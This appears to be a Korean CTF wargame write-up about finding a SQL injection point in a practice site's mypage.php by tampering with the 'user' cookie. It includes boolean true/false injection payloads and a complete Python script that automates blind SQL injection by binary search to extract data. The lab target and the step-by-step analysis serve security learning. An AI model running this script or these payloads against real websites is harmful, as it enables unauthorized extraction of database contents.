-
SQL Injection Advanced - SQL Injection Point 1wargame/segfault 2024. 6. 17. 10:49
목표
사이트 내에 SQL Injection이 가능한 곳이 있다. 그곳을 찾아내서 SQL injection으로 flag를 찾아내라
웹사이트 분석 - 회원가입, 로그인
`/sqli_6/`에 get으로 처음 접근하면 200 상태코드를 반환하며, PHPSESSID를 쿠키로 세팅하도록 한다. 그 다음부터 이 url에서 PHPSESSID를 쿠키로 요청에 담아 보낸다.
로그인 버튼을 누르면 `/sqli_6/login.php` 페이지로 이동한다.
form 구성 : `Log In`버튼을 누르면 자기자신인 `login.php`로 post 요청을 보내며, `id는 name, password는 pw`에 담겨져 제출된다.
`Sign up` 버튼을 누르면 자바스크립트로 페이지가 `signup.html`로 이동된다.
아직 아이디가 없기 때문에 `Sign up`버튼을 눌러 회원가입부터 진행해본다.
form은 `Sign Up`버튼을 누르면 `signup.php`로 post요청을 보낸다. 이때 보내지는 데이터는 signupid와 signuppw이다.
`signupid: shadow, signuppw: 1234` 로 데이터를 제출해 회원가입을 진행해보겠다.
response에 담긴 script로 인해 회원가입에 성공했다는 창이 뜨면서, 위치가 `index.php`로 이동하게 된다. 이제 로그인 버튼을 눌러 로그인을 진행해보겠다.
자기자신인 `login.php`에 post로 아이디와 비밀번호를 전송하고, 서버에서 인증에 성공했기에 response에 302코드가 반환되며 로그인 성공 정보를 담고 있는 PHPSESSID를 새로 업데이트한다. 그리고 사이트 내 다른 페이지에서 사용할 수 있고 xss를 방지하기 위해 `path=/; HttpOnly`로 설정하였다.
또한 user에 내가 로그인 한 `user=shadow`도 담아서 보낸다. 쿠키에 아이디를 직접 담아서 보내기에 이 부분의 취약점을 추후에 잘 살펴봐야한다.
마지막으로 location 헤더 때문에 `index.php`로 이동한다.
로그인에 성공했다! 로그인 성공 시 Request의 Cookie에 `user=shadow와 PHPSESSID`를 담아서 보낸다. 그리고 Response에서 나의 아이디인 `shadow`가 출력되고 있다. 이 부분도 주의깊게 봐야한다. 그리고 `마이페이지, 게시판, Logout` 버튼을 누르면 각각 onclick 속성에 의해 특정 url로 이동하게 된다.
쿠키 변조 시도
`/sqli_6/index.php`에서 쿠키를 변조하였을때 Response에 담겨진 값이 변경되는지 확인한다. 만약 가입하지 않은 아무 아이디로 쿠키값을 변조했을 때 출력이 되지 않는다면 해당 페이지에서 쿠키값을 이용한 sql문이 처리되고 있음을 알 수 있다. 그렇지 않고 그냥 변조한 쿠키값 그대로 출력이 된다면 xss 취약점이 있을 수 있다. 아무 이상이 없이 그대로 내 아이디 `shadow`로 출력이 된다면 취약점이 존재하지 않는다.
Repeater로 get method `/sqli_6/index.php`를 보내서 쿠키의 `user=shadow`를 `user=nothing`으로 변조해서 보냈더니. 그대로 `shadow`라고 출력되었다. 따라서 이곳에는 sqli point와 xss 취약점이 존재하지 않는다. (이 문제는 Sqli Point를 찾는 것이 목표이므로, 실무에서는 동시에 진행해야하나 더 이상 XSS 취약점을 따로 다루지 않도록 하겠다.)
웹사이트 분석 - 마이페이지
`index.php`에서 `마이페이지`버튼을 눌러 `mypage.php`로 이동했다. 쿠키에 `user=shadow와 PHPSESSID`가 담겨지고, Response에 `shadow`가 출력된다. 여기도 마찬가지로 쿠키변조로 인한 sqli 취약점이 존재할 수도 있다.
쿠키 변조 시도
Burp Suite의 Repeater를 통해 Cookie에 담긴 `user`값을 변경해서 보내본다.
`user=noting`을 담아서 보내니 `placeholder="noting"`으로 담겨져서 오는 것을 볼 수 있다(XSS취약점 존재). 그리고 원래 `Nothing Here...`이라고 담겨져 있던 `info`태그의 `placeholder`가 비어있는 것을 볼 수 있다. 여기서 쿠키값을 인자로 사용한 sql 질의가 사용되었을 수도 있음을 추측할 수 있다.
정리
아이디를 정상적으로 찾았을 때: `placeholder="Noting Here..."`
아이디를 정상적으로 찾지 못했을 때: `placeholder=""`// 예상 SQL문 $sql = "SELECT * FROM member WHERE id ='___'";
그리고 쿠키값이 저 사이에 들어갈 수 있기 때문에 SQL Injection이 가능한지 저 질의문이 맞다는 전제 하에 `shadow' and '1'='1`을 삽입한다.
// 그러면 완성되는 SQL문은 다음과 같다. $sql = "SELECT * FROM member WHERE id ='shadow' and '1'='1'";
결과는 `Nothing Here...` 이므로 정상적으로 아이디를 찾는 것에 성공했음을 알 수 있다. 거짓 조건을 넣어 로그인에 실패하는 것도 시도해본다.
`shadow' and '1'='2`를 넣어 sql문이 항상 거짓이 되게 만든다.
// 완성되는 SQL문은 다음과 같다. WHERE문이 항상 거짓이 되어 아무것도 찾을 수 없다 $sql = "SELECT * FROM member WHERE id ='shadow' and '1'='2'";
`placeholder`가 비어있다. 아이디를 찾는 것에 실패하게 만드는데 성공했음을 알 수 있다.
따라서 `mypage.php`에서 쿠키변조를 통한 sqli point가 있는 것을 확인하였다.
sql질의문 결과가 화면에 출력되지 않고, 에러가 출력되지 않으므로 데이터를 추출하기 위해서는 Blind SQL Injection으로 가능하다.
Python으로 Blind SQLi 자동화
import requests # change following 5 lines as you need usingId = 'shadow' usingPhpsessid = 'k942mhsjc4994eml5oba510lvu' url = "http://ctf.segfaulthub.com:7777/sqli_6/mypage.php" falseText = "placeholder=\"\"/>" preparedFormat = "{}' and (ascii(substr(({}),{},1)) > {}) and '1'='1" # {}: id, select statement, char index, ascii int value print("프로그램 시작") while True: print('종료하시려면 \'quit\' 를 입력해주세요') sql_statement = input("select문 입력 > ") if (sql_statement == 'quit'): break extracted_data = '' inputFormat = preparedFormat.format(usingId,sql_statement,1,0) headers = {"Cookie": "user={}; PHPSESSID={}".format(inputFormat,usingPhpsessid)} response = requests.get(url, headers=headers) if falseText in response.text: print("데이터가 없습니다.") continue i = 1 # data index while True: bottom = 32 top = 128 inputFormat = preparedFormat.format(usingId,sql_statement,i,0) headers = {"Cookie": "user={}; PHPSESSID={}".format(inputFormat,usingPhpsessid)} response = requests.get(url, headers=headers) if falseText in response.text: break while True: j = int((top+bottom)/2) inputFormat = preparedFormat.format(usingId,sql_statement,i,j) headers = {"Cookie": "user={}; PHPSESSID={}".format(inputFormat,usingPhpsessid)} response = requests.get(url, headers=headers) if ((top-bottom)<=2): for k in range(0,3): inputFormat = preparedFormat.format(usingId,sql_statement,i,j+k) headers = {"Cookie": "user={}; PHPSESSID={}".format(inputFormat,usingPhpsessid)} response = requests.get(url, headers=headers) if falseText in response.text: extracted_data += chr(j+k) i += 1 break break if falseText in response.text: # 32 ~ 80 top = j else: bottom = j print(extracted_data)
Blind SQL Injection으로 flag를 찾아냈다!
'wargame > segfault' 카테고리의 다른 글
SQL Injection Advanced - SQL Injection Point 2 (0) 2024.06.17 SQL Injection - 6 (0) 2024.06.17 SQL Injection - 5 (0) 2024.06.17 SQL Injection - 4 (0) 2024.06.17 SQL Injection - 3 (0) 2024.06.17